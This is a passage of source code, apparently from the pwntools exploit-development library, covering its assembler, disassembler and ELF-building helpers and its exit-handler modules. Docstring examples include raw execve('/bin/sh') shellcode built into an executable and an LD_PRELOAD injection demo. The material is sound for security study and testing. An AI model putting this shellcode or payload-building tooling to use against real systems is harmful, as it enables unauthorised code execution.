arches:\n                arches = [arch] + aliases + [None] + fallback_arches\n    except AttributeError:\n        log.warn_once(\"Your local binutils won't be used because architecture %r is not supported.\" % machine)\n\n    utils = [util]\n\n    # hack for homebrew-installed binutils on mac\n    if platform.system() == 'Darwin':\n        utils = ['g'+util, util]\n\n    if platform.system() == 'Windows':\n        utils = [util + '.exe']\n\n    # Try the explicit tools for the target architecture first,\n    # then the native one optionally, then fallbacks.\n    for arch in arches:\n        for gutil in utils:\n            # e.g. objdump\n            if arch is None:\n                patterns = [gutil]\n\n            # e.g. aarch64-linux-gnu-objdump, avr-objdump\n            else:\n                patterns = ['%s*linux*-%s' % (arch, gutil),\n                            '%s*-elf-%s' % (arch, gutil),\n                            '%s-none*-%s' % (arch, gutil),\n                            '%s-%s' % (arch, gutil)]\n\n            for pattern in patterns:\n                for dir in environ['PATH'].split(os.pathsep):\n                    for res in sorted(glob(path.join(dir, pattern))):\n                        if check_version:\n                            ver = check_binutils_version(res)\n                            return res, ver\n                        return res\n\n    # No dice!\n    print_binutils_instructions(util, context)\n\nutil_versions = defaultdict(tuple)\n\ndef _assembler():\n    gas, version = which_binutils('as', check_version=True)\n    if version < (2, 19):\n        log.warn_once('Your binutils version is too old and may not work!\\n'\n            'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\\n'\n            'Reported version: %r', version)\n\n    E = {\n        'big':    '-EB',\n        'little': '-EL'\n    }[context.endianness]\n\n    B = '-%s' % context.bits\n\n    assemblers = {\n        'i386'   : [gas, B],\n        'amd64'  : [gas, B],\n\n        # Most architectures accept -EL or -EB\n        'thumb'  : [gas, '-mthumb', E],\n        'arm'    : [gas, E],\n        'aarch64': [gas, E],\n        'mips'   : [gas, E, B],\n        'mips64' : [gas, E, B],\n        'sparc':   [gas, E, B],\n        'sparc64': [gas, E, B],\n\n        # Powerpc wants -mbig or -mlittle, and -mppc32 or -mppc64\n        'powerpc':   [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits],\n        'powerpc64': [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits],\n\n        # ia64 only accepts -mbe or -mle\n        'ia64':    [gas, '-m%ce' % context.endianness[0]],\n\n        # riscv64-unknown-elf-as supports riscv32 as well as riscv64\n        'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],\n        'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],\n\n        # loongarch64 supports none of -64, -EB, -EL or -march\n        'loongarch64'  : [gas],\n    }\n\n    assembler = assemblers.get(context.arch, [gas])\n\n    return assembler\n\ndef _linker():\n    ld, _ = which_binutils('ld', check_version=True)\n    bfd = ['--oformat=' + _bfdname()]\n\n    E = {\n        'big':    '-EB',\n        'little': '-EL'\n    }[context.endianness]\n\n    arguments = {\n        'i386': ['-m', 'elf_i386'],\n    }.get(context.arch, [])\n\n    return [ld] + bfd + [E] + arguments\n\n\ndef _execstack(linker):\n    ldflags = ['-z', 'execstack']\n    version = util_versions[linker[0]]\n    if version >= (2, 39):\n        return ldflags + ['--no-warn-execstack', '--no-warn-rwx-segments']\n    return ldflags\n\n\ndef _objcopy():\n    return [which_binutils('objcopy')]\n\ndef _objdump():\n    path = [which_binutils('objdump')]\n\n    if context.arch in ('i386', 'amd64'):\n        path += ['-Mintel']\n\n    return path\n\ndef _include_header():\n    os   = context.os\n    arch = context.arch\n    include = '%s/%s.h' % (os, arch)\n\n    if not include or not path.exists(path.join(_incdir, include)):\n        log.warn_once(\"Could not find system include headers for %s-%s\" % (arch,os))\n        return '\\n'\n\n    return '#include <%s>\\n' % include\n\n\ndef _arch_header():\n    prefix  = ['.section .shellcode,\"awx\"',\n                '.global _start',\n                '.global __start',\n                '_start:',\n                '__start:']\n    headers = {\n        'i386'  :  ['.intel_syntax noprefix', '.p2align 0'],\n        'amd64' :  ['.intel_syntax noprefix', '.p2align 0'],\n        'arm'   : ['.syntax unified',\n                   '.arch armv7-a',\n                   '.arm',\n                   '.p2align 2'],\n        'thumb' : ['.syntax unified',\n                   '.arch armv7-a',\n                   '.thumb',\n                   '.p2align 2'\n                   ],\n        'mips'  : ['.set mips2',\n                   '.set noreorder',\n                   '.p2align 2'\n                   ],\n    }\n\n    return '\\n'.join(prefix + headers.get(context.arch, [])) + '\\n'\n\ndef _bfdname():\n    arch = context.arch\n    E    = context.endianness\n\n    bfdnames = {\n        'i386'    : 'elf32-i386',\n        'aarch64' : 'elf64-%saarch64' % E,\n        'amd64'   : 'elf64-x86-64',\n        'arm'     : 'elf32-%sarm' % E,\n        'thumb'   : 'elf32-%sarm' % E,\n        'avr'     : 'elf32-avr',\n        'mips'    : 'elf32-trad%smips' % E,\n        'mips64'  : 'elf64-trad%smips' % E,\n        'alpha'   : 'elf64-alpha',\n        'cris'    : 'elf32-cris',\n        'ia64'    : 'elf64-ia64-%s' % E,\n        'm68k'    : 'elf32-m68k',\n        'msp430'  : 'elf32-msp430',\n        'powerpc' : 'elf32-powerpc',\n        'powerpc64' : 'elf64-powerpc',\n        'riscv32' : 'elf%d-%sriscv' % (context.bits, E),\n        'riscv64' : 'elf%d-%sriscv' % (context.bits, E),\n        'loongarch64' : 'elf%d-loongarch' % context.bits,\n        'vax'     : 'elf32-vax',\n        's390'    : 'elf%d-s390' % context.bits,\n        'sparc'   : 'elf32-sparc',\n        'sparc64' : 'elf64-sparc',\n    }\n\n    if arch in bfdnames:\n        return bfdnames[arch]\n    else:\n        raise Exception(\"Cannot find bfd name for architecture %r\" % arch)\n\n\ndef _bfdarch():\n    arch = context.arch\n    convert = {\n        'amd64':     'i386:x86-64',\n        'i386':      'i386',\n        'ia64':      'ia64-elf64',\n        'mips64':    'mips',\n        'powerpc64': 'powerpc',\n        'sparc64':   'sparc',\n        'thumb':     'arm',\n        'riscv32':   'riscv',\n        'riscv64':   'riscv',\n        'loongarch64': 'loongarch64'\n    }\n\n    if arch in convert:\n        return convert[arch]\n\n    return arch\n\ndef _run(cmd, stdin = None):\n    log.debug('%s', subprocess.list2cmdline(cmd))\n    try:\n        proc = subprocess.Popen(\n            cmd,\n            stdin  = subprocess.PIPE,\n            stdout = subprocess.PIPE,\n            stderr = subprocess.PIPE,\n            universal_newlines = True\n        )\n        stdout, stderr = proc.communicate(stdin)\n        exitcode = proc.wait()\n    except OSError as e:\n        if e.errno == errno.ENOENT:\n            log.exception('Could not run %r the program', cmd[0])\n        else:\n            raise\n\n    if (exitcode, stderr) != (0, ''):\n        msg = 'There was an error running %r:\\n'\n        args = cmd,\n        if exitcode != 0:\n            msg += 'It had the exitcode %d.\\n'\n            args += exitcode,\n        if stderr != '':\n            msg += 'It had this on stdout:\\n%s\\n'\n            args += stderr,\n        log.error(msg, *args)\n\n    return stdout\n\n@LocalContext\ndef cpp(shellcode):\n    r\"\"\"cpp(shellcode, ...) -> str\n\n    Runs CPP over the given shellcode.\n\n    The output will always contain exactly one newline at the end.\n\n    Arguments:\n        shellcode(str): Shellcode to preprocess\n\n    Kwargs:\n        Any arguments/properties that can be set on ``context``\n\n    Examples:\n\n        >>> cpp(\"mov al, SYS_setresuid\", arch = \"i386\", os = \"linux\")\n        'mov al, 164\\n'\n        >>> cpp(\"weee SYS_setresuid\", arch = \"arm\", os = \"linux\")\n        'weee (0+164)\\n'\n        >>> cpp(\"SYS_setresuid\", arch = \"thumb\", os = \"linux\")\n        '(0+164)\\n'\n        >>> cpp(\"SYS_setresuid\", os = \"freebsd\")\n        '311\\n'\n    \"\"\"\n    if platform.system() == 'Windows':\n        cpp = which_binutils('cpp')\n    else:\n        cpp = 'cpp'\n\n    code = _include_header() + shellcode\n    cmd  = [\n        cpp,\n        '-Wno-unused-command-line-argument',\n        '-C',\n        '-nostdinc',\n        '-undef',\n        '-P',\n        '-I' + _incdir,\n    ]\n    return _run(cmd, code).strip('\\n').rstrip() + '\\n'\n\n\n@LocalContext\ndef make_elf_from_assembly(assembly,\n                           vma=None,\n                           extract=False,\n                           shared=False,\n                           strip=False,\n                           **kwargs):\n    r\"\"\"make_elf_from_assembly(assembly, vma=None, extract=None, shared=False, strip=False, **kwargs) -> str\n\n    Builds an ELF file with the specified assembly as its executable code.\n\n    This differs from :func:`.make_elf` in that all ELF symbols are preserved,\n    such as labels and local variables.  Use :func:`.make_elf` if size matters.\n    Additionally, the default value for ``extract`` in :func:`.make_elf` is\n    different.\n\n    Note:\n        This is effectively a wrapper around :func:`.asm`. with setting\n        ``extract=False``, ``vma=0x10000000``, and marking the resulting\n        file as executable (``chmod +x``).\n\n    Note:\n        ELF files created with `arch=thumb` will prepend an ARM stub\n        which switches to Thumb mode.\n\n    Arguments:\n        assembly(str): Assembly code to build into an ELF\n        vma(int): Load address of the binary\n            (Default: ``0x10000000``, or ``0`` if ``shared=True``)\n        extract(bool): Extract the full ELF data from the file.\n            (Default: ``False``)\n        shared(bool): Create a shared library\n            (Default: ``False``)\n        kwargs(dict): Arguments to pass to :func:`.asm`.\n\n    Returns:\n\n        The path to the assembled ELF (extract=False), or the data\n        of the assembled ELF.\n\n    Example:\n\n        This example shows how to create a shared library, and load it via\n        ``LD_PRELOAD``.\n\n        >>> context.clear()\n        >>> context.arch = 'amd64'\n        >>> sc = 'push rbp; mov rbp, rsp;'\n        >>> sc += shellcraft.echo('Hello\\n')\n        >>> sc += 'mov rsp, rbp; pop rbp; ret'\n        >>> solib = make_elf_from_assembly(sc, shared=1)\n        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib}, universal_newlines = True)\n        'Hello\\nWorld\\n'\n\n        The same thing can be done with :func:`.make_elf`, though the sizes\n        are different.  They both\n\n        >>> file_a = make_elf(asm('nop'), extract=True)\n        >>> file_b = make_elf_from_assembly('nop', extract=True)\n        >>> file_a[:4] == file_b[:4]\n        True\n        >>> len(file_a) < len(file_b)\n        True\n    \"\"\"\n    if shared and vma:\n        log.error(\"Cannot specify a VMA for a shared library.\")\n\n    if vma is None:\n        if shared:\n            vma = 0\n        else:\n            vma = 0x10000000\n\n    if context.arch == 'thumb':\n        to_thumb = shellcraft.arm.to_thumb()\n\n        if not assembly.startswith(to_thumb):\n            assembly = to_thumb + assembly\n\n    result = asm(assembly, vma = vma, shared = shared, extract = False, **kwargs)\n\n    if not extract:\n        os.chmod(result, 0o755)\n    else:\n        with open(result, 'rb') as io:\n            result = io.read()\n\n    return result\n\n@LocalContext\ndef make_elf(data,\n             vma=None,\n             strip=True,\n             extract=True,\n             shared=False):\n    r\"\"\"make_elf(data, vma=None, strip=True, extract=True, shared=False, **kwargs) -> str\n\n    Builds an ELF file with the specified binary data as its executable code.\n\n    Arguments:\n        data(str): Assembled code\n        vma(int):  Load address for the ELF file\n        strip(bool): Strip the resulting ELF file. Only matters if ``extract=False``.\n            (Default: ``True``)\n        extract(bool): Extract the assembly from the ELF file.\n            If ``False``, the path of the ELF file is returned.\n            (Default: ``True``)\n        shared(bool): Create a Dynamic Shared Object (DSO, i.e. a ``.so``)\n            which can be loaded via ``dlopen`` or ``LD_PRELOAD``.\n\n    Examples:\n        This example creates an i386 ELF that just does\n        execve('/bin/sh',...).\n\n        >>> context.clear(arch='i386')\n        >>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')\n        >>> filename = make_elf(bin_sh, extract=False)\n        >>> p = process(filename)\n        >>> p.sendline(b'echo Hello; exit')\n        >>> p.recvline()\n        b'Hello\\n'\n    \"\"\"\n    retval = None\n\n    if shared and vma:\n        log.error(\"Cannot specify a VMA for a shared library.\")\n\n    if context.arch == 'thumb':\n        to_thumb = asm(shellcraft.arm.to_thumb(), arch='arm')\n\n        if not data.startswith(to_thumb):\n            data = to_thumb + data\n\n\n    assembler = _assembler()\n    linker    = _linker()\n    code      = _arch_header()\n    code      += '.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))\n    code      += '\\n'\n\n    log.debug(\"Building ELF:\\n\" + code)\n\n    tmpdir    = tempfile.mkdtemp(prefix = 'pwn-asm-')\n    step1     = path.join(tmpdir, 'step1-asm')\n    step2     = path.join(tmpdir, 'step2-obj')\n    step3     = path.join(tmpdir, 'step3-elf')\n\n    try:\n        with open(step1, 'w') as f:\n            f.write(code)\n\n        _run(assembler + ['-o', step2, step1])\n\n        linker_options = _execstack(linker)\n        if vma is not None:\n            linker_options += ['--section-start=.shellcode=%#x' % vma,\n                               '--entry=%#x' % vma]\n        elif shared:\n            linker_options += ['-shared', '-init=_start']\n\n        linker_options += ['-o', step3, step2]\n\n        _run(linker + linker_options)\n\n        if strip:\n            _run([which_binutils('objcopy'), '-Sg', step3])\n            _run([which_binutils('strip'), '--strip-unneeded', step3])\n\n        if not extract:\n            os.chmod(step3, 0o755)\n            retval = step3\n\n        else:\n            with open(step3, 'rb') as f:\n                retval = f.read()\n    except Exception:\n        log.exception(\"An error occurred while building an ELF:\\n%s\" % code)\n    else:\n        atexit.register(lambda: shutil.rmtree(tmpdir))\n\n    return retval\n\n\n@LocalContext\ndef make_macho_from_assembly(shellcode):\n    return make_macho(shellcode, is_shellcode=True)\n\n\n@LocalContext\ndef make_macho(data, is_shellcode=False):\n    prefix = []\n    if context.arch == 'amd64':\n        prefix = [\n            '.intel_syntax noprefix',\n        ]\n    prefix.extend([\n        '.text',\n        '.global _start',\n        '_start:',\n        '.p2align 2',\n    ])\n    code = ''\n    code += '\\n'.join(prefix) + '\\n'\n    if is_shellcode:\n        code += cpp(data)\n    else:\n        code += '.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))\n\n    log.debug('Assembling\\n%s' % code)\n\n    tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')\n    step1 = path.join(tmpdir, 'step1')\n    step2 = path.join(tmpdir, 'step2')\n    step3 = path.join(tmpdir, 'step3')\n\n    with open(step1, 'w') as fd:\n        fd.write(code)\n\n    assembler = [\n        '/usr/bin/as',\n    ]\n    asflags = [\n        '-mmacosx-version-min=11.0',\n        '-o', step2, step1,\n    ]\n    _run(assembler + asflags)\n\n    linker = [\n        '/usr/bin/ld',\n    ]\n    ldflags = [\n        '-macos_version_min', '11.0',\n        '-l', 'System',\n        '-e', '_start',\n        '-L', '/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib',\n        '-o', step3, step2,\n    ]\n    _run(linker + ldflags)\n\n    os.chmod(step3, 0o755)\n\n    return step3\n\n\n@LocalContext\ndef asm(shellcode, vma = 0, extract = True, shared = False):\n    r\"\"\"asm(code, vma = 0, extract = True, shared = False, ...) -> str\n\n    Runs :func:`cpp` over a given shellcode and then assembles it into bytes.\n\n    To see which architectures or operating systems are supported,\n    look in :mod:`pwnlib.context`.\n\n    Assembling shellcode requires that the GNU assembler is installed\n    for the target architecture.\n    See :doc:`Installing Binutils </install/binutils>` for more information.\n\n    Arguments:\n        shellcode(str): Assembler code to assemble.\n        vma(int):       Virtual memory address of the beginning of assembly\n        extract(bool):  Extract the raw assembly bytes from the assembled\n                        file.  If :const:`False`, returns the path to an ELF file\n                        with the assembly embedded.\n        shared(bool):   Create a shared object.\n        kwargs(dict):   Any attributes on :data:`.context` can be set, e.g.set\n                        ``arch='arm'``.\n\n    Examples:\n\n        >>> asm(\"mov eax, SYS_select\", arch = 'i386', os = 'freebsd')\n        b'\\xb8]\\x00\\x00\\x00'\n        >>> asm(\"mov eax, SYS_select\", arch = 'amd64', os = 'linux')\n        b'\\xb8\\x17\\x00\\x00\\x00'\n        >>> asm(\"mov rax, SYS_select\", arch = 'amd64', os = 'linux')\n        b'H\\xc7\\xc0\\x17\\x00\\x00\\x00'\n        >>> asm(\"mov r0, #SYS_select\", arch = 'arm', os = 'linux', bits=32)\n        b'R\\x00\\xa0\\xe3'\n        >>> asm(\"mov #42, r0\", arch = 'msp430')\n        b'0@*\\x00'\n        >>> asm(\"la %r0, 42\", arch = 's390', bits=64)\n        b'A\\x00\\x00*'\n\n        The output is cached:\n\n        >>> start = time.time()\n        >>> asm(\"lea rax, [rip+0]\", arch = 'amd64', cache_dir = None) # force uncached time\n        b'H\\x8d\\x05\\x00\\x00\\x00\\x00'\n        >>> uncached_time = time.time() - start\n        >>> asm(\"lea rax, [rip+0]\", arch = 'amd64') # cache it\n        b'H\\x8d\\x05\\x00\\x00\\x00\\x00'\n        >>> start = time.time()\n        >>> asm(\"lea rax, [rip+0]\", arch = 'amd64')\n        b'H\\x8d\\x05\\x00\\x00\\x00\\x00'\n        >>> cached_time = time.time() - start\n        >>> uncached_time > cached_time\n        True\n    \"\"\"\n    result = b''\n\n    assembler = _assembler()\n    linker    = _linker()\n    objcopy   = _objcopy() + ['-j', '.shellcode', '-Obinary']\n    code      = ''\n    code      += _arch_header()\n    code      += cpp(shellcode)\n\n    log.debug('Assembling\\n%s' % code)\n\n    cache_file = None\n    if context.cache_dir:\n        cache_dir = os.path.join(context.cache_dir, 'asm-cache')\n        if not os.path.isdir(cache_dir):\n            os.makedirs(cache_dir)\n\n        # Include the context in the hash in addition to the shellcode\n        hash_params = '{}_{}_{}_{}'.format(vma, extract, shared, __version__)\n        fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))\n        asm_hash = sha1sumhex(fingerprint_params)\n        cache_file = os.path.join(cache_dir, asm_hash)\n        if os.path.exists(cache_file):\n            log.debug('Using cached assembly output from %r', cache_file)\n            if extract:\n                with open(cache_file, 'rb') as f:\n                    return f.read()\n\n            # Create a temporary copy of the cached file to avoid modification.\n            tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')\n            atexit.register(shutil.rmtree, tmpdir)\n            step3 = os.path.join(tmpdir, 'step3')\n            shutil.copy(cache_file, step3)\n            return step3\n\n    tmpdir    = tempfile.mkdtemp(prefix = 'pwn-asm-')\n    step1     = path.join(tmpdir, 'step1')\n    step2     = path.join(tmpdir, 'step2')\n    step3     = path.join(tmpdir, 'step3')\n    step4     = path.join(tmpdir, 'step4')\n\n    try:\n        with open(step1, 'w') as fd:\n            fd.write(code)\n\n        _run(assembler + ['-o', step2, step1])\n\n        if not vma:\n            shutil.copy(step2, step3)\n\n        if vma or not extract:\n            ldflags = _execstack(linker) + ['-o', step3, step2]\n            if vma:\n                ldflags += ['--section-start=.shellcode=%#x' % vma,\n                            '--entry=%#x' % vma]\n            elif shared:\n                ldflags += ['-shared', '-init=_start']\n\n            # In order to ensure that we generate ELF files with 4k pages,\n            # and not e.g. 65KB pages (AArch64), force the page size.\n            # This is a result of GNU Gold being silly.\n            #\n            # Introduced in commit dd58f409 without supporting evidence,\n            # this shouldn't do anything except keep consistent page granularity\n            # across architectures.\n            ldflags += ['-z', 'max-page-size=4096',\n                        '-z', 'common-page-size=4096']\n\n            _run(linker + ldflags)\n\n        elif open(step2,'rb').read(4) == b'\\x7fELF':\n            # Sanity check for seeing if the output has relocations\n            relocs = subprocess.check_output(\n                [which_binutils('readelf'), '-r', step2],\n                universal_newlines = True\n            ).strip()\n            if extract and len(relocs.split('\\n')) > 1:\n                log.warn('Shellcode contains relocations:\\n%s' % relocs)\n        else:\n            shutil.copy(step2, step3)\n\n        if not extract:\n            if cache_file is not None:\n                shutil.copy(step3, cache_file)\n            return step3\n\n        _run(objcopy + [step3, step4])\n\n        with open(step4, 'rb') as fd:\n            result = fd.read()\n\n    except Exception:\n        lines = '\\n'.join('%4i: %s' % (i+1,line) for (i,line) in enumerate(code.splitlines()))\n        log.exception(\"An error occurred while assembling:\\n%s\" % lines)\n    else:\n        atexit.register(lambda: shutil.rmtree(tmpdir))\n\n    if cache_file is not None and result != b'':\n        with open(cache_file, 'wb') as f:\n            f.write(result)\n\n    return result\n\n@LocalContext\ndef disasm(data, vma = 0, byte = True, offset = True, instructions = True):\n    \"\"\"disasm(data, ...) -> str\n\n    Disassembles a bytestring into human readable assembler.\n\n    To see which architectures are supported,\n    look in :mod:`pwnlib.contex`.\n\n    Arguments:\n      data(str): Bytestring to disassemble.\n      vma(int): Passed through to the --adjust-vma argument of objdump\n      byte(bool): Include the hex-printed bytes in the disassembly\n      offset(bool): Include the virtual memory address in the disassembly\n\n    Kwargs:\n      Any arguments/properties that can be set on ``context``\n\n    Examples:\n\n        >>> print(disasm(unhex('b85d000000'), arch = 'i386'))\n           0:   b8 5d 00 00 00          mov    eax, 0x5d\n        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))\n           0:   mov    eax, 0x5d\n        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))\n        mov    eax, 0x5d\n        >>> print(disasm(unhex('b817000000'), arch = 'amd64'))\n           0:   b8 17 00 00 00          mov    eax, 0x17\n        >>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))\n           0:   48 c7 c0 17 00 00 00    mov    rax, 0x17\n        >>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))  # doctest: +ELLIPSIS\n           0:   e51f0004        ldr     r0, [pc, #-4]   ...\n           4:   00900052        addseq  r0, r0, r2, asr r0\n        >>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))\n           0:   f04f 0005       mov.w   r0, #5\n        >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))\n           0:   gs data16 fs rex nop WORD PTR gs:[eax+eax*1+0x0]\n           f:   push   rcx\n        >>> print(disasm(unhex('01000000'), arch='sparc64'))\n           0:   01 00 00 00     nop\n        >>> print(disasm(unhex('60000000'), arch='powerpc64'))\n           0:   60 00 00 00     nop\n        >>> print(disasm(unhex('00000000'), arch='mips64'))\n           0:   00000000        nop\n        >>> print(disasm(unhex('48b84141414141414100c3'), arch='amd64'))\n           0:   48 b8 41 41 41 41 41 41 41 00   movabs rax, 0x41414141414141\n           a:   c3                      ret\n        >>> print(disasm(unhex('00000000'), vma=0x80000000, arch='mips'))\n        80000000:       00000000        nop\n    \"\"\"\n    result = ''\n\n    arch   = context.arch\n\n    tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-')\n    step1  = path.join(tmpdir, 'step1')\n    step2  = path.join(tmpdir, 'step2')\n\n    bfdarch = _bfdarch()\n    bfdname = _bfdname()\n    objdump = _objdump() + ['-w', '-d', '--adjust-vma', str(vma), '-b', bfdname]\n    objcopy = _objcopy() + [\n        '-I', 'binary',\n        '-O', bfdname,\n        '-B', bfdarch,\n        '--set-section-flags', '.data=code',\n        '--rename-section', '.data=.text',\n    ]\n\n    if not byte:\n        objdump += ['--no-show-raw-insn']\n\n    if arch == 'thumb':\n        objcopy += ['--prefix-symbol=$t.']\n    else:\n        objcopy += ['-w', '-N', '*']\n\n    try:\n\n        with open(step1, 'wb') as fd:\n            fd.write(data)\n\n        _run(objcopy + [step1, step2])\n\n        output0 = _run(objdump + [step2])\n        output1 = re.split(r'<\\.text(?:\\+0x0)?>:\\n', output0, flags=re.MULTILINE)\n\n        if len(output1) != 2:\n            log.error('Could not find .text in objdump output:\\n%s' % output0)\n\n        result = output1[1].strip('\\n').rstrip().expandtabs()\n    except Exception:\n        log.exception(\"An error occurred while disassembling:\\n%s\" % data)\n    else:\n        atexit.register(lambda: shutil.rmtree(tmpdir))\n\n\n    lines = []\n\n    # Note: those patterns are also used in pwnlib/commandline/disasm.py\n    pattern = '^( *[0-9a-f]+: *)', '((?:[0-9a-f]+ )+ *)', '(.*)'\n    if not byte:\n        pattern = pattern[::2]\n    pattern = ''.join(pattern)\n    for line in result.splitlines():\n        match = re.search(pattern, line)\n        if not match:\n            lines.append(line)\n            continue\n\n        groups = match.groups()\n        if byte:\n            o, b, i = groups\n        else:\n            o, i = groups\n\n        line = ''\n\n        if offset:\n            line += o\n        if byte:\n            line += b\n        if instructions:\n            line += i\n        lines.append(line)\n\n    return re.sub(',([^ ])', r', \\1', '\\n'.join(lines))\n"
  },
  {
    "path": "pwnlib/atexception.py",
    "content": "\"\"\"\nAnalogous to atexit, this module allows the programmer to register functions to\nbe run if an unhandled exception occurs.\n\"\"\"\nimport sys\nimport threading\nimport traceback\n\nfrom pwnlib.context import context\n\n__all__ = ['register', 'unregister']\n\n_lock = threading.Lock()\n_ident = 0\n_handlers = {}\n\ndef register(func, *args, **kwargs):\n    \"\"\"register(func, *args, **kwargs)\n\n    Registers a function to be called when an unhandled exception occurs.  The\n    function will be called with positional arguments `args` and keyword\n    arguments `kwargs`, i.e. ``func(*args, **kwargs)``.  The current `context`\n    is recorded and will be the one used when the handler is run.\n\n    E.g. to suppress logging output from an exception-handler one could write::\n\n      with context.local(log_level = 'error'):\n        atexception.register(handler)\n\n    An identifier is returned which can be used to unregister the\n    exception-handler.\n\n    This function can be used as a decorator::\n\n      @atexception.register\n      def handler():\n        ...\n\n    Notice however that this will bind ``handler`` to the identifier and not the\n    actual exception-handler.  The exception-handler can then be unregistered\n    with::\n\n      atexception.unregister(handler)\n\n    This function is thread safe.\n\n    \"\"\"\n    global _ident\n    with _lock:\n        ident = _ident\n        _ident += 1\n    _handlers[ident] = (func, args, kwargs, vars(context))\n    return ident\n\ndef unregister(func):\n    \"\"\"unregister(func)\n\n    Remove `func` from the collection of registered functions.  If `func` isn't\n    registered this is a no-op.\n    \"\"\"\n    if func in _handlers:\n        del _handlers[func]\n\ndef _run_handlers():\n    \"\"\"_run_handlers()\n\n    Run registered handlers.  They run in the reverse order of which they were\n    registered.\n\n    If a handler raises an exception, it will be printed but nothing else\n    happens, i.e. other handlers will be run.\n    \"\"\"\n    for _ident, (func, args, kwargs, ctx) in \\\n        sorted(_handlers.items(), reverse = True):\n        try:\n            with context.local():\n                context.clear()\n                context.update(**ctx)\n                func(*args, **kwargs)\n        except SystemExit:\n            pass\n        except Exception:\n            # extract the current exception and rewind the traceback to where it\n            # originated\n            typ, val, tb = sys.exc_info()\n            traceback.print_exception(typ, val, tb.tb_next)\n\n# we rely on the existing excepthook to print exceptions\n_oldhook = getattr(sys, 'excepthook', None)\n\ndef _newhook(typ, val, tb):\n    \"\"\"_newhook(typ, val, tb)\n\n    Our excepthook replacement.  First the original hook is called to print the\n    exception, then each handler is called.\n    \"\"\"\n    if _oldhook:\n        _oldhook(typ, val, tb)\n    if _run_handlers:\n        _run_handlers()\n\nsys.excepthook = _newhook\n"
  },
  {
    "path": "pwnlib/atexit.py",
    "content": "\"\"\"\nReplacement for the Python standard library's atexit.py.\n\nWhereas the standard :mod:`atexit` module only defines :func:`atexit.register`,\nthis replacement module also defines :func:`unregister`.\n\nThis module also fixes a the issue that exceptions raised by an exit handler is\nprinted twice when the standard :mod:`atexit` is used.\n\"\"\"\nimport sys\nimport threading\nimport traceback\nimport atexit as std_atexit\n\nfrom pwnlib.context import context\n\n__all__ = ['register', 'unregister']\n\n_lock = threading.Lock()\n_ident = 0\n_handlers = {}\n\ndef register(func, *args, **kwargs):\n    \"\"\"register(func, *args, **kwargs)\n\n    Registers a function to be called on program termination.  The function will\n    be called with positional arguments `args` and keyword arguments `kwargs`,\n    i.e. ``func(*args, **kwargs)``.  The current `context` is recorded and will\n    be the one used when the handler is run.\n\n    E.g. to suppress logging output from an exit-handler one could write::\n\n      with context.local(log_level = 'error'):\n        atexit.register(handler)\n\n    An identifier is returned which can be used to unregister the exit-handler.\n\n    This function can be used as a decorator::\n\n      @atexit.register\n      def handler():\n        ...\n\n    Notice however that this will bind ``handler`` to the identifier and not the\n    actual exit-handler.  The exit-handler can then be unregistered with::\n\n      atexit.unregister(handler)\n\n    This function is thread safe.\n\n    \"\"\"\n    global _ident\n    with _lock:\n        ident = _ident\n        _ident += 1\n    _handlers[ident] = (func, args, kwargs, vars(context))\n    return ident\n\ndef unregister(ident):\n    \"\"\"unregister(ident)\n\n    Remove the exit-handler identified by `ident` from the list of registered\n    handlers.  If `ident` isn't registered this is a no-op.\n    \"\"\"\n    if ident in _handlers:\n        del _handlers[ident]\n\ndef _run_handlers():\n    \"\"\"_run_handlers()\n\n    Run registered exit-handlers.  They run in the reverse order of which they\n    were registered.\n\n    If a handler raises an exception, it will be printed but nothing else\n    happens, i.e. other handlers will be run and `sys.excepthook` will not be\n    called for that reason.\n    \"\"\"\n    context.clear()\n    for _ident, (func, args, kwargs, ctx) in \\\n        sorted(_handlers.items(), reverse = True):\n        try:\n            with context.local(**ctx):\n                func(*args, **kwargs)\n        except SystemExit:\n            pass\n        except Exception:\n            # extract the current exception and rewind the traceback to where it\n            # originated\n            typ, val, tb = sys.exc_info()\n            traceback.print_exception(typ, val, tb.tb_next)\n\n# if there's already an exitfunc registered be sure to run that too\nif hasattr(sys, \"exitfunc\"):\n    register(sys.exitfunc)\n\nif sys.version_info[0] < 3:\n    sys.exitfunc = _run_handlers\nelse:\n    std_atexit.register(_run_handlers)\n"
  },
  {
    "path": "pwnlib/commandline/__init__.py",
    "content": "__all__ = [\n    'asm',\n    'checksec',\n    'common',\n    'constgrep',\n    'cyclic',\n    'debug',\n    'disasm',\n    'disablenx',\n    'elfdiff',\n    'elfpatch',\n    'errno',\n    'hex',\n    'main',\n    'phd',\n    'pwnstrip',\n    'scramble',\n    'shellcraft',\n    'unhex',\n    'update',\n    'version'\n]\n"
  },
  {
    "path": "pwnlib/commandline/asm.py",
